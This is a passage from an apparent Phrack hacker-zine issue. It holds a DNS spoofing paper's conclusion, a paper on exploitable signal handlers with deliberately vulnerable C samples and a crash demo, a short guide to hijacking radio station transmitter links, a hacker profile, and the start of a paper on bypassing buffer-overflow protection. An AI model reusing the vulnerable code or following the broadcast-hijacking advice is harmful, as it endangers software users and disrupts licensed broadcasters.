The iptables firewall on the Linux computer was configured so that the
only allowed UDP traffic was to/from port 53 of the legitimate DNS server.
When a DNS query was performed and a DNS reply was received, iptables was
unable to block extra (spoofed) incoming DNS replies since it is not
designed to inspect DNS traffic and allow one incoming DNS reply per
outgoing DNS request. However, since the port used to send the DNS query
was closed once a valid DNS reply was received, ICMP port unreachable
messages were generated for the extra (spoofed) incoming DNS replies.
iptables was configured to block and log outgoing ICMP network traffic.
Reviewing the logs revealed ICMP port unreachable messages that were
destined to the legitimate DNS server, which were a good indication of a
DNS spoofing attack. Further to this evidence of a DNS spoofing attack,
since the DNS replies must come from port 53, analysis of the network
traffic using a packet dissector such as Ethereal revealed traffic that
looked like DNS replies apparently originating at the legitimate DNS
server.
--[ 8 - Conclusion
The RFC guidelines simplify DNS spoofing attacks against DNS client
resolvers since the attacker does not require information such as the IP
address of the potential victim's DNS server or the contents of DNS
queries sent by the potential victim. Microsoft Windows XP is more
susceptible to DNS spoofing attacks than Linux due to its poor
implementation of the RFC guidelines. Further simplifying DNS spoofing
attacks are Windows XP's inadequate matching of DNS requests to DNS
replies, and the predictable port number and transaction ID values -
behaviour that could be changed without violating the RFC guidelines.
Evidence of DNS spoofing attacks is minimised by the ability to disguise
DNS replies as NetBIOS traffic, the lack of configuration granularity and
traffic inspection of some firewalls, and Windows XP's failure to generate
ICMP error messages for excessive DNS replies.
RFC 791 (Internet Protocol) stating that a program must be "liberal in its
receiving behavior" and "must accept any datagram that it can interpret"
may have been acceptable in 1981 when the RFC was created and
interoperability was more important than security. However, the Internet
has changed from a somewhat trustworthy user base of representatives from
educational institutions and the US Department of Defense to now include
hackers and scammers, making security a high profile consideration.
Perhaps it is time for software based on this outdated perception of the
Internet to be changed as well.
The Internet community continues to wait for widespread adoption of
cryptographic digital signatures used to authenticate DNS transactions,
as discussed in RFC 2535 (Domain Name System Security Extensions). In the
meantime, the threat of DNS spoofing attacks could be minimised by
Microsoft improving the DNS implementation in all of their affected
operating systems. Such improvements include using random transaction ID
values, checking that the name in a DNS reply matches the name to be
resolved in the DNS request, and using a random source port for DNS
requests. These improvements would make attacks against DNS client
resolvers significantly more difficult to perform, and such improvements
would not violate the RFC guidelines.
|=----------------------------------------------------------------------=|
|=----------------------------------------------------------------------=|
########################################
# Injecting signals for Fun and Profit #
########################################
by shaun2k2 <shaunige@yahoo.co.uk>
--[ 1 - Introduction
More secure programming is on the rise, eliminating more generic program
exploitation vectors, such as stack-based overflows, heap overflows and symlink
bugs. Despite this, subtle vulnerabilities are often overlooked during code
audits, leaving so-called "secure" applications vulnerable to attack, but in a
less obvious manner. Secure design of signal-handlers is often not considered,
but I believe that this class of security holes deserves just as much attention
as more generic classes of bugs, such as buffer overflow bugs.
This paper intends to discuss problems faced when writing signal-handling
routines, how to exploit the problems, and presents ideas of how to avoid such
issues. A working knowledge of the C programming language and UNIX-like
operating systems would benefit the reader greatly, but is certainly not
essential.
--[ 2 - Signal Handling: An Overview
To understand what signal handlers are, one must first know what exactly a
signal is. In brief, signals are notifications delivered to a process to alert
the given process about "important" events concerning itself. For example,
users of an application can send signals using common keyboard Ctrl
combinations, such as Ctrl-C - which will send a SIGINT signal to the given
process.
Many different signals exist, but some of the more common (or useful) ones are:
SIGINT, SIGHUP, SIGKILL, SIGABRT, SIGTERM and SIGPIPE. Many more exist,
however. A list of available signals, according to the POSIX.1 standard,
can be found in the unix manual page signal(7).
It is worth noting that the signals SIGKILL and
SIGSTOP cannot be handled, ignored or blocked. Their 'action' can
not be changed.
"What are signal handlers", one might ask. The simple answer is that signal
handlers are small routines which are typically called when a pre-defined
signal, or set of signals, is delivered to the process it is running under
before the end of program execution - after execution flow has been directed to
a signal handling function, all instructions within the handler are executed in
turn. In larger applications, however, signal handling routines are often
written to complete a more complex set of tasks to ensure clean termination of
the program, such as; unlinking of tempory files, freeing of memory buffers,
appending log messages, and freeing file descriptors and/or sockets. Signal
handlers are generally defined as ordinary program functions, and are then
defined as the default handler for a certain signal usually near to the
beginning of the program.
Consider the sample program below:
--- sigint.c ---
#include <stdio.h>
#include <signal.h>
void sighndlr() {
printf("Ctrl-C caught!\n");
exit(0);
}
int main() {
signal(SIGINT, sighndlr);
while(1)
sleep(1);
/* should never reach here */
return(0);
}
--- EOF ---
'sigint.c' specifies that the function 'sighndlr' should be given control of
execution flow when a SIGINT signal is received by the program. The program
sleeps "forever", or until a SIGINT signal is received - in which case the
"Ctrl-C caught!" message is printed to the terminal - as seen below:
--- output ---
[root@localhost shaun]# gcc test.c -o test
[root@localhost shaun]# ./test
[... program sleeps ...]
Ctrl-C caught!
[root@localhost shaun]#
--- EOF ---
Generally speaking, a SIGINT signal is delivered when a user hits the Ctrl-C
combination at the keyboard, but a SIGINT signal can be generated by the
kill(1) utility.
However simple or complex the signal handler is, there are several potential
pitfalls which must be avoided during the development of the handler. Although
a signal handler may look "safe", problems may still arise, but may be
less-obvious to the unsuspecting eye. There are two main classes of problems
when dealing with signal-handler development - non-atomic process
modifications, and non-reentrant code, both of which are potentially critical
to system security.
--[ 3 - Non-atomic Modifications
Since signals can be delivered at almost any moment, and privileges often need
to be maintained (i.e root privileges in a SUID root application) for obvious
reasons (i.e for access to raw sockets, graphical resources, etc), signal
handling routines need to be written with extra care. If they are not, and
special privileges are held by the process at the particular time of signal
delivery, things could begin to go wrong very quickly. What is meant by
'non-atomic' is that the change in the program isn't permanant - it will
just be in place temporarily. To illustrate this, we will discuss a sample
vulnerable program.
Consider the following sample program:
--- atomicvuln.c ---
#include <stdio.h>
#include <signal.h>
void sighndlr() {
printf("Ctrl-C caught!\n");
printf("UID: %d\n", getuid());
/* other cleanup code... */
}
int showuid() {
printf("UID: %d\n", getuid());
return(0);
}
int main() {
int origuid = getuid();
signal(SIGINT, sighndlr);
setuid(0);
sleep(5);
setuid(origuid);
showuid();
return(0);
}
--- EOF ---
The above program should immediately spark up any security concious
programmer's paranoia, but the insecurity isn't immediately obvious
to everyone. As we can see from above, a signal handler is declared for
'SIGINT', and the program gives itself root privileges (so to speak). After
a delay of around five seconds, the privileges are revoked, and the
program is exited with success. However, if a SIGINT signal is received,
execution is directed to the SIGINT handler, 'sighdlr()'.
Let's look at some sample outputs:
--- output ---
[root@localhost shaun]# gcc test.c -o test
[root@localhost shaun]# chmod +s test
[root@localhost shaun]# exit
exit
[shaun@localhost shaun]$ ./test
[... program sleeps 5 seconds ...]
UID: 502
[shaun@localhost shaun]$ ./test
[... CTRL-C is typed ...]
Ctrl-C caught!
UID: 0
UID: 502
[shaun@localhost shaun]$
--- EOF ---
If you hadn't spotted the insecurity in 'atomicvuln.c' yet, the above output
should make things obvious; since the signal handling routine, 'sighdlr()', was
called when root privileges were still possessed, the friendly printf()
statements kindly tell us that our privileges are root (assuming the binary is
SUID root). And just to prove our theory, if we simply allow the program to
sleep for 5 seconds without sending an interrupt, the printf() statement kindly
tells us that our UID is 502 - my actual UID - as seen above.
With this, it is easy to understand where the flaw lies; if program execution
can be interrupted between the time when superuser privileges are given,
and the time when superuser privileges are revoked, the signal handling
code *will* be ran with root privileges. Just imagine - if the signal
handling routine included potentially sensitive code, compromisation of
root privileges could occur.
Although the sample program isn't an example of privilege escalation, it at
least demonstrates how non-atomic modifications can present security issues
when signal handling is involved. And do not assume that code similar to the
sample program above isn't found in popular security critical applications in
wide-spread use - it is. An example of vulnerable code similar to that of
above which is an application in wide-spread use, see [1] in the bibliography.
Non-reentrant Code
###################
Although it may not be obvious (and it's not), some glibc functions just
weren't designed to be reentered due to receipt of a signal, thus causing
potential problems for signal handlers which use them. An example of such a
function is the 'free()' function. According to 'free()'s man page, free()
"frees the memory space pointed to by ptr, which must have been
returned by a previous call to malloc(), calloc() or realloc(). Other-
wise, or if free(ptr) has already been called before, undefined
behaviour occurs. If ptr is NULL, no operation is performed."
As the man page snippet claims, free() can only be used to release memory which
was allocated using 'malloc()', else "undefined behavior" occurs. More
specifically, or in usual cases, the heap is corrupted, if free() is called on
a memory area which has already been free()d. Because of this implementation
design, reentrant signal routines which use 'free()' can be attacked.
Consider the below sample vulnerable program:
--- reentry.c ---
#include <stdio.h>
#include <signal.h>
#include <syslog.h>
#include <string.h>
#include <stdlib.h>
void *data1, *data2;
char *logdata;
void sighdlr() {
printf("Entered sighdlr()...\n");
syslog(LOG_NOTICE,"%s\n", logdata);
free(data2);
free(data1);
sleep(10);
exit(0);
}
int main(int argc, char *argv[]) {
logdata = argv[1];
data1 = strdup(argv[2]);
data2 = malloc(340);
signal(SIGHUP, sighdlr);
signal(SIGTERM, sighdlr);
sleep(10);
/* should never reach here */
return(0);
}
--- EOF ---
The above program defines a signal handler which frees allocated heap memory,
and sleeps for around 10 seconds. However, once the signal handler has been
entered, signals are not blocked, and thus can still be freely delivered. As
we learnt above, a duplicate call of free() on an already free()d memory area
will result in "undefined behavior" - possibly corruption of the heap memory.
As we can see, user-defined data is taken, and syslog() is also called fromo
the sig handler function - but how does syslog() work? 'syslog()' creates a
memory buffer stream, using two malloc() invokations - the first one allocates
a 'stream description structure', whilst the other creates a buffer suitable
for the actual syslog message data. This basis is essentially used to maintain
a tempory copy of the syslog message.
But why can this cause problems in context of co-usage of non-reentrant
routines? To find the answer, let's experiment a little, by attempting to
exploit the above program, which happens to be vulnerable.
--- output ---
[shaun@localhost shaun]$ ./test `perl -e 'print
"a"x100'` `perl -e 'print
"b"x410'` & sleep 1 ; killall -HUP test ; sleep 1 ;
killall -TERM test
[1] 2877
Entered sighdlr()...
Entered sighdlr()...
[1]+ Segmentation fault (core dumped) ./test
`perl -e 'print "a"x100'`
`perl -e 'print "b"x410'`
[shaun@localhost shaun]$ gdb -c core.2877
GNU gdb 5.2.1-2mdk (Mandrake Linux)
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General
Public License, and you are
welcome to change it and/or distribute copies of it
under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show
warranty" for details.
This GDB was configured as "i586-mandrake-linux-gnu".
Core was generated by `./test
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'.
Program terminated with signal 11, Segmentation fault.
#0 0x4008e9bb in ?? ()
(gdb) info reg
eax 0x61616161 1633771873
ecx 0x40138680 1075021440
edx 0x6965fa38 1768290872
ebx 0x4013c340 1075036992
esp 0xbfffeccc 0xbfffeccc
ebp 0xbfffed0c 0xbfffed0c
esi 0x80498d8 134519000
edi 0x61616160 1633771872
eip 0x4008e9bb 0x4008e9bb
eflags 0x10206 66054
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x2b 43
gs 0x2b 43
fctrl 0x0 0
fstat 0x0 0
ftag 0x0 0
fiseg 0x0 0
fioff 0x0 0
foseg 0x0 0
fooff 0x0 0
---Type <return> to continue, or q <return> to quit---
fop 0x0 0
xmm0 {f = {0x0, 0x0, 0x0, 0x0}} {f = {0, 0, 0, 0}}
xmm1 {f = {0x0, 0x0, 0x0, 0x0}} {f = {0, 0, 0, 0}}
xmm2 {f = {0x0, 0x0, 0x0, 0x0}} {f = {0, 0, 0, 0}}
xmm3 {f = {0x0, 0x0, 0x0, 0x0}} {f = {0, 0, 0, 0}}
xmm4 {f = {0x0, 0x0, 0x0, 0x0}} {f = {0, 0, 0, 0}}
xmm5 {f = {0x0, 0x0, 0x0, 0x0}} {f = {0, 0, 0, 0}}
xmm6 {f = {0x0, 0x0, 0x0, 0x0}} {f = {0, 0, 0, 0}}
xmm7 {f = {0x0, 0x0, 0x0, 0x0}} {f = {0, 0, 0, 0}}
mxcsr 0x0 0
orig_eax 0xffffffff -1
(gdb) quit
[shaun@localhost shaun]$
--- EOF ---
Interesting. As we can see above, our large string of 'a's has found its way
into several program registers on stack - EAX and EDI. From this, we can
assume we are witnessing the "undefined behavior" we discussed earlier, when
the signal handler is reentered.
When the sample vulnerable program receives the second signal (SIGTERM), since
signals are not being ignored, the signal handler is reentered to handle this
second signal, causing something to go very wrong.
But why is this happening?
Since the second memory region (*data2) was free()d during the first entry of
the signal handler, syslog() re-uses this released memory for its own
purposes - storing its syslog message, because as the short syslog()
explanation above stated, two malloc() calls are present in most syslog()
implementations, and thus it re-uses the newly free()d memory - *data2.
After the usage of the memory once held as data2 by syslog(), a second
'free()' call is made on the memory region, because of reentry of the signal
handler function. As the free(3) man page stated, undefined behavior *will*
occur if the memory area was already free()d, and we happen to know that this
was the case. So when 'free()' was called again on *data2, free() landed
somewhere in the area containing the 'a's (hence 0x61 in hex), because
syslog() had re-used the freed area to store the syslog message, temporarily.
As the GDB output above illustrates, as long as user-input is used by
'syslog()' (and it is in this case), we have some control over the program
registers, when this "undefined behavior" (corruption of heap in most
cases) occurs. Because of this ability, exploitation is most likely a
possibility - it is left as an exercise to the reader to play with this sample
vulnerable program a little more, and determine if the vulnerability is
exploitable.
For the interested reader, 'free()' is not the only non-reentrant glibc
function. In general, it can be assumed that all glibc functions which are NOT
included within the following list are non-reentrant, and thus are not safe to
be used in signal handlers.
--
_exit(2), access(2), alarm(3), cfgetispeed(3), cfgetospeed(3),
cfsetispeed(3), cfsetospeed(3), chdir(2), chmod(2), chown(2),
close(2), creat(3), dup(2), dup2(2), execle(3), execve(2),
fcntl(2), fork(2), fpathconf(2), fstat(2), fsync(2), getegid(2),
geteuid(2), getgid(2), getgroups(2), getpgrp(2), getpid(2),
getppid(2), getuid(2), kill(2), link(2), lseek(2), mkdir(2),
mkfifo(2), open(2), pathconf(2), pause(3), pipe(2), raise(3),
read(2), rename(2), rmdir(2), setgid(2), setpgid(2), setsid(2),
setuid(2), sigaction(2), sigaddset(3), sigdelset(3),
sigemptyset(3), sigfillset(3), sigismember(3), signal(3),
sigpause(3), sigpending(2), sigprocmask(2), sigsuspend(2),
sleep(3), stat(2), sysconf(3), tcdrain(3), tcflow(3), tcflush(3),
tcgetattr(3), tcgetpgrp(3), tcsendbreak(3), tcsetattr(3),
tcsetpgrp(3), time(3), times(3), umask(2), uname(3), unlink(2),
utime(3), wait(2), waitpid(2), write(2)."
--
Secure Signal Handling
#######################
In general, signal handling vulnerabilities can be prevented by
--
1) Using only reentrant glibc functions within signal handlers -
This safe-guards against the possibility of "undefined behavior" or otherwise
as presented in the above example. However, this isn't *always* feasible,
especially when a programmers needs to accomplish tasks such as freeing
memory.
Other counter-measures, in this case, can protect against this. See below.
2) ignoring signals during signal handling routines -
As the obvious suggests, this programming practice will indefinately prevent
handling of signals during the execution of signal handling routines, thus
preventing signal handler reentry.
Consider the following signal handler template:
--- sighdlr.c ---
void sighdlr() {
signal(SIGINT, SIG_IGN);
signal(SIGABRT, SIG_IGN);
signal(SIGHUP, SIG_IGN);
/* ...ignore other signals ... */
/* cleanup code here */
exit(0);
}
--- EOF ---
As we can see above, signals are blocked before doing anything else in the
signal handling routine. This guarantees against signal handler reentry (or
almost does).
3) Ignoring signals whilst non-atomic process modifications are in place -
This involves blocking signals, in a similar way to the above code snippet,
during the execution of code with non-atomic modifications in place, such as
code execution with superuser privileges.
Consider the following code snippet:
--- nonatomicblock.c ---
/* code exec with non-atomic process modifications
starts here... */
signal(SIGINT, SIG_IGN);
signal(SIGABRT, SIG_IGN);
signal(SIGHUP, SIG_IGN);
/* block other signals if desired... */
setuid(0);
/* sensitive code here */
setuid(getuid());
/* sensitive code ends here */
signal(SIGINT, SIG_DFL);
signal(SIGABRT, SIG_DFL);
signal(SIGHUP, SIG_DFL);
/* ...code here... */
--- EOF ---
Before executing privileged code, signals are blocked. After execution of the
privileged code, privileges are dropped, and the signal action is set back to
the default action.
There are probably more ways of preventing signal vulnerabilities, but the
three above should be enough to implement semi-safe signal handlers.
Conclusion
###########
I hope this paper has at least touched upon possible problems encountered when
dealing with signals in C applications. If nothing else can be taken away from
this paper, my aim is to have outlined that secure programming practices should
always be applied when implementing signal handlers.
Full stop. Remember this.
If I have missed something out, given inaccurate information, or otherwise,
please feel free to drop me a line at the email address at the top of the
paper, providing your comments are nicely phrased.
Recommended reading is presented in the Bibliography below.
Bibliography
#############
Recommended reading material is:
--
"Delivering Signals for Fun and Profit" -
http://razor.bindview.com/publish/papers/signals.txt,
Michal Zalewski. Michal's
paper was a useful resource when writing this paper, and many ideas were gained
from this paper. Thanks Michal.
"Introduction To Unix Signals Programming" -
http://users.actcom.co.il/~choo/lupg/tutorials/signals/signals-programming.html,LUGPs.
"Procmail insecure signal handling vulnerability" -
http://xforce.iss.net/xforce/xfdb/6872
"Traceroute signal handling vulnerability" -
http://lwn.net/2000/1012/a/traceroute.php3
"signal(2) man page" -
http://techpubs.sgi.com/library/tpl/cgi-bin/getdoc.cgi?coll=linux&db=man&fname=/usr/share/catman/man2/signal.2.html&srch=signal
"signal(7) man page" -
http://techpubs.sgi.com/library/tpl/cgi-bin/getdoc.cgi?coll=linux&db=man&fname=/usr/share/catman/man7/signal.7.html&srch=signal
--
Greets
#######
Greets to:
--
Friends at HDC (or former HDC members), excluded.org,
#hackcanada, all @ GSO,
rider (happy be-lated birthday!).
All the other great people that I have met online.
--
Thanks guys.
Thank you for your time.
Shaun.
|=----------------------------------------------------------------------=|
|=----------------------------------------------------------------------=|
|=------------------=[ Pirating A Radio Station ]=----------------------=|
by j kuinga" <kuinga@hotmail.com>
At many Radio Stations to cut costs they now do what is called "central
casting." This is where many feeds are produced from one building and
handled by a group of engineers.
Why is this important? You could, disrupt the broadcast from the Central
Site, to the tower site, and create your own programming, without the
hassles of buying a transmitter, getting the FCC licensing, and that type
of thing. We're showing you two different ways to have some fun--by
interrupting remote broadcasts, and by overtaking the radio station.
Radio Stations typically have Martis which are mini-transmitters, and
Marti Repeaters, typically in the 425-455 MHz Range. Some Ham Transmitters
will work in this range, and if not, check your local radio surplus store.
Martis are typically used to rebroadcast High School Football and
basketball games, as well as commercial "live events" and its something as
simple as over-powering the signal, in order to get your message through.
Be forewarned, there typically is a live person on the other end of that
transmitterXtheyre probably not paying attention, because theyre
getting paid $5.50/hourXbut, they have they ability to turn you off.
How to find the frequency? Well, you could always SE the engineer at the
station and ask, however, most of them are grumpy old radio buffs, so you
might not get anywhere. I suggest a good copy of Police Call, which has
a LOT of frequencies in there for things like radio stations.
I use a home-made setup for finding particular frequencies out. Having some
essential tools like a good, directional antenna, frequency counter, and
very accurate transmitter, along with breadboard and essential components,
typically are common in finding what you need to know. I also drive a Big
White Van, complete with Mast and Bucket, so I can optimally 'place' the
antenna at the right height and direction, that I obtained at a school
auction for reallly cheap. (e.g., under $500, even had 18" racks in it and a
nice generator)
Most Radio Stations doing this have what they call a STL, or Studio to
Transmitter Link. This is typically in the 800 or 900 Mhz range, and the
same, general ideas apply. You find the general direction in which the
antenna is pointed, then you overpower the signal. Since you
(idealistically) would be within a few miles of the transmitter, not 30 or
50 miles like the Central-Casting spot, you would overpower the transmitter,
and start your own pirate radio station. Most stations however, have an
Air monitor, and can turn the remote transmitter off by pressing a
button on their STL. However, if youre closer to it, youve got control
until the station engineer comes down to manually pull the plug on your
transmitter.
If you see black vans with antennas and they look like they're doing sweeps,
chances are, they're either a) with the audit crew of the local cable
company, or b) looking for your ass.
kuinga@hotmail.com
|=[ EOF ]=---------------------------------------------------------------=|
--------------------------------------------------------------------------------
phrack.org:~# cat .bash_history
==Phrack Inc.==
Volume 0x0b, Issue 0x3e, Phile #0x04 of 0x10
|=---------------=[ P R O P H I L E O N S C U T ]=-------------------=|
|=-----------------------------------------------------------------------=|
|=------------------------=[ Phrack Staff ]=-----------------------------=|
|=---=[ Specification
Handle: scut
AKA: "The Tower"
Handle origin: Result of spelling "SCUD rocket" as a 12 year
old when making up a handle
catch him: by email scut@segfault.net
Age of your body: 23
Produced in: West Germany
Height & Weight: 198cm, 85kg
Urlz: segfault.net/~scut/
Computers: COTS, anything goes ;)
Member of: TESO
Projects: exploitation methods, low level architecture
wrangling, code analysis and transformation
|=---=[ Favorite things
Women: intelligent, humorous, self-confident and caring
Cars: BMW = fast, functional and reliable
Foods: Chinese, German cake
Alcohol: Mixed drinks (Tequila + *), white wine
Music: U2, 60-70'ies, ambient, new age
Movies: Leon, Matrix
Books & Authors: I dislike fiction, various scientific books
Urls: phrack.org/ ;-), citeseer.ist.psu.edu/directory.html
I like: digging some problem to the deepest level
I dislike: unjustified authorities, arrogance, ignorance
|=---=[ Life in 3 sentences
Born 1980, I just lived a normal peaceful life in Germany. Finished school,
high school quite well, went to the military service, started studying.
Currently I am studying abroad and thats possibly the most exciting experience
so far ;-)
|=---=[ Passions | What makes you tick
To create. In anything I do, I enjoy creating something and deepen my
understanding of it. Somehow, however, I lose interest as soon as I think I
could understand something completely, but that it would take too much effort.
|=---=[ Which research have you done or which one gave you the most fun?
Looking back on the few things I have done, I think it was always fun to
tickle people intellectually. The most fun was writing burneye, a simple
runtime binary encryption program. I learned lots while doing it and it had
some minor impact aswell. Also I wrote a paper about format string
vulnerabilities. This was fun to write and back at that time everybody was
very curious about this newly discovered class of security vulnerabilities.
The basic work was already done and it was fun just to make a few steps
further. While its always the case that you have to base your work on someone
else's, sometimes you get the feeling of doing something truly new or
creative. Then, its always fun.
|=---=[ Memorable Experiences
CCCamp 1999, when all TESO members first met eye-to-eye and where we had lots
of fun together. Meeting interesting people, such as some of the ADM folks.
All the CCC congresses and all the fun that comes with them: friends, beer,
and new contacts. Meeting the THC guys, having beer with wilkins and plasmoid.
|=---=[ Quotes
"The purpose of computing is insight, not numbers." - Richard W. Hamming
|=---=[ Open Interview - General boring questions
Q: When did you start to play with computers?
A: Due to my father working in the computing field I was lucky to first tap
some keys at the age of six, around 1985. First hooked up through games I
quickly liked the idea to control the machine myself and was fascinated to
write my first BASIC program on the C64 when I was nine. This fascination has
not decreased ever since, though the languages and computers changed a lot ;-)
Q: When did you had your first contact to the 'scene'?
A: As many of todays people in the hacking scene, the natural path leads
through the warez and cracking realms. In 1995 I was browsing some BBS's and
thats how I was drawn into that scene. Then, in the following two years, I
moved away from Windows/Warez to more Linux/Programming, and more or less by
end of 1997 I was completely into this thing.
Q: When did you for your first time connect to the internet?
A: Through the German Telekom BTX internet gateway, that must have been 1995.
Q: What other hobbies do you have?
A: Martial arts (currently Sanda Wushu, previously some Muaythai) and other
sports, having fun with friends. Learning Chinese.
Q: ...and how long did it take until you joined irc? Do you remember
the first channel you joined?
A: #warez.de in 1996 on IrcNet.
Q: What's your architecture / OS of choice?
A: IA32 with Debian/sid. Its constantly updated, the packagers know their
stuff and its a system by and for developers. I love it.
|=---=[ Open Interview - More interesting questions
Q: Who founded TESO and what's the meaning of the name?
A: TESO was founded in 1998 by typo, edi, stanly and oxigen, some austrian
hackers.
Q: What's TESO up to these days?
A: I would like to describe us as not active anymore. There are a couple of
reasons for this. One is the natural shift of interest of members, such as
when growing up and having a daytime job. But more importantly, the most
previously most active members do not release their work under the TESO label
anymore. Sometime ago, we also had internal trust problems where we did not
know who leaked our internal stuff. This lead to general distrust and some
developing stopped or slowed due to that. Sad thing.
Q: You have helped phrack in many occasions. What do you think about Phrack?
What suggestions do you have for phrack?
A: I think phrack is the single best starting point for anyone seriously
interested in learning how to become a real low level hacker. One could start
ten issues in the past and gradually sharpen the skills to almost the today's
cutting edge. The style, quality and focus of the articles is very diverse and
always makes for an interesting read.
In the past year, Phrack started to work closer with the authors of the
articles to produce higher quality articles for the readers. This is a great
idea! Maybe further steps into this direction could follow.
For the article topics, I personally would like to see more articles on
upcoming technologies to exploit, such as SOAP, web services, .NET, etc.
Q: What are you up to these days? How has the scene-life influenced your
lifestyle, goals and personality?
A: Nowadays, I am more of a computer science student than a scene member. The
scene did not change me so much. Its a great place to meet intelligent people
and to discuss new ideas.
Q: You have been in the scene for quite a while. If you look back, what
was the worst thing that happened to the scene? What was the best
that happened?
A: The worst was a bad long term development with an even worse backlash: the
commercialization of the network security field. When the Internet really
boomed, everybody was out to make a buck from selling security related
products and services. A lot of former hackers "sold out". While its their
personal choice to work in the security business and such business is not
necessarily evil, for the scene it wasn't all that great.
The worse result has been the gap between once united hackers. Some people
drew a more or less arbitrary line of black-/whitehatism and started dividing
the scene even further. The result you can see nowadays is that there are some
separated groups in the scene piling up non public knowledge, while the "entry
level skill" required to really be in the scene is increased and less people
get into the scene. Those knowledgeable groups still have "whitehats" among
their members, but nobody cares, because for the group it just works well and
everybody within wins. On a wider scale, everybody loses and the cooperation
and development of really creative new stuff is slowed and the scene shrinks.
Fresh talented people wanting to get into the scene have no choice but to
found their own teams.
The best thing for the scene were and still are the hacker events organized
all around the world. They are a great contact point of the hackers and to the
outside world.
Q: If you could turn the clock backwards, what would you do different
in your young life ?
A: Be more relaxed about people posting my stuff although I did not wanted it
to be public. It just caused trouble for everybody and in the end its more
a fault on my side than on theirs.
=---=[ One word comments
[give a 1-word comment to each of the words on the left]
IRC : timeconsumptive
TESO : dreamteam
ADM : pioneers
Hacker meetings : melting-pot
Whitehats : do not always wear white hats
Blackhats : do not always wear black hats
|=---=[ Please tell our audience a worst case scenario into what the scene
might turn into.
The extension to the bad development that already took place and I described
in an earlier answer would include more company driven actions and sell outs.
Possibly the worst long term thing for the scene would be a decrease in the
scene's lose "infrastructure", such as magazines and conferences. This could
be the result of stricter laws against hackers and already takes place in some
countries. Imagine if the typical hacker conferences would be outlawed or
strictly observed. Imagine when magazines such as Phrack would be shutdown.
Imagine if groups like THC and websites like Packetstorm would be shutdown.
That would be a bad development.
|=---=[ And if everything works out fine? What's the best case scenario
you can imagine?
The scene would be driven by discussions, new inventions, creative hacking
stunts and a large number social events. Hackers would stick closer together,
yet share more of their work, yet allowing newcomers to learn. People would
not crawl for fame on mailing lists but would honestly respect each other.
To archieve this ideal, things that unite all hackers have to be valued
more. All hackers share the enthusiasm for technology and creativity.
Creativity is seldomly the result of sitting alone in a locked down room, but
quite the opposite the result of many diverse ideas and discussions among
intelligent people. If the environment hackers interact with each others in
permits for exchange of ideas without getting ripped off by companies or other
hackers, this would result in a great scene.
|=---=[ Any suggestions/comments/flames to the scene and/or specific people?
I think some young talents are really doing a great job. Keep going!
|=---=[ Shoutouts & Greetings
hendy, for being a long time trustable, reliable and humorous friend.
stealth, die andere Nase, for intellectual challenges and always coming up
with really cool stuff.
Halvar, skyper, gamma for making the hacker events real fun and organizing
everything.
lorian, for being a smart guy.
acpizer, for his wisdom and stubborness.
The folks at THC and ADM for doing really cool stuff.
|=[ EOF ]=---------------------------------------------------------------=|
--------------------------------------------------------------------------------
==Phrack Inc.==
Volume 0x0b, Issue 0x3e, Phile #0x05 of 0x10
|=-----------------------------------------------------------------------=|
|=-----=[ Bypassing 3rd Party Windows Buffer Overflow Protection ]=------=|
|=-----------------------------------------------------------------------=|
|=--------------=[ anonymous <p62_wbo_a@author.phrack.org ]=-------------=|
|=--------------=[ Jamie Butler <james.butler@hbgary.com> ]=-------------=|
|=--------------=[ anonymous <p62_wbo_b@author.phrack.org ]=-------------=|
--[ Contents
1 - Introduction
2 - Stack Backtracing
3 - Evading Kernel Hooks
3.1 - Kernel Stack Backtracing
3.2 - Faking Stack Frames
4 - Evading Userland Hooks
4.1 - Implementation Problems - Incomplete API Hooking
4.1.1 - Not Hooking all API Versions
4.1.2 - Not Hooking Deeply Enough
4.1.3 - Not Hooking Thoroughly Enough
4.2 - Fun With Trampolines
4.2.1 Patch Table Jumping
4.2.2 Hook Hopping
4.3 - Repatching Win32 APIs
4.4 - Attacking Userland Components
4.4.1 IAT Patching
4.4.2 Data Section Patching
4.5 - Calling Syscalls Directly
4.6 - Faking Stack Frames
5 - Conclusions
--[ 1 - Introduction
Recently, a number of commercial security systems started to offer
protection against buffer overflows. This paper analyzes the protection
claims and describes several techniques to bypass the buffer overflow
protection.
Existing commercial systems implement a number of techniques to protect
against buffer overflows. Currently, stack backtracing is the most popular
one. It is also the easiest to implement and the easiest to bypass.
Several commercial products such as Entercept (now NAI Entercept) and
Okena (now Cisco Security Agent) implement this technique.
--[ 2 - Stack Backtracing
Most of the existing commercial security systems do not actually prevent
buffer overflows but rather try to attempt to detect the execution of
shellcode.
The most common technology used to detect shellcode is code page
permission checking which involves checking whether code is executing on
a writable page of memory. This is necessary since architectures such as
x86 do not support the non-executable memory bit.
Some systems also perform additional checking to see whether code's page
of memory belongs to a memory mapped file section and not to an anonymous
memory section.
[-----------------------------------------------------------]
page = get_page_from_addr( code_addr );
if (page->permissions & WRITABLE)
return BUFFER_OVERFLOW;
ret = page_originates_from_file( page );
if (ret != TRUE)
return BUFFER_OVERFLOW;
[-----------------------------------------------------------]
Pseudo code for code page permission checking
Buffer overflow protection technologies (BOPT) that rely on stack
backtracing don't actually create non-executable heap and stack segments.
Instead they hook the OS and check for shellcode execution during the
hooked API calls.
Most operating systems can be hooked in userland or in kernel.
Next section deals with evading kernel hooks, while section 4 deals with
bypassing userland hooks.
--[ 3 - Evading Kernel Hooks
When hooking the kernel, Host Intrusion Prevention Systems (HIPS) must
be able to detect where a userland API call originated. Due to
the heavy use of kernel32.dll and ntdll.dll libraries, an API call is
usually several stack frames away from the actual syscall trap call.
For this reason, some intrusion preventions systems rely on using stack
backtracing to locate the original caller of a system call.
----[ 3.1 - Kernel Stack Backtracing
While stack backtracing can occur from either userland or kernel, it is
far more important for the kernel components of a BOPT than its userland
components. The existing commercial BOPT's kernel components rely entirely
on stack backtracing to detect shellcode execution. Therefore, evading a
kernel hook is simply a matter of defeating the stack backtracing
mechanism.
Stack backtracing involves traversing stack frames and verifying that the
return addresses pass the buffer overflow detection tests described above.
Frequently, there is also an additional "return into libc" check, which
involves checking that a return address points to an instruction
immediately following a call or a jump. The basic operation of stack
backtracing code, as used by a BOPT, is presented below.
[-----------------------------------------------------------]
while (is_valid_frame_pointer( ebp )) {
ret_addr = get_ret_addr( ebp );
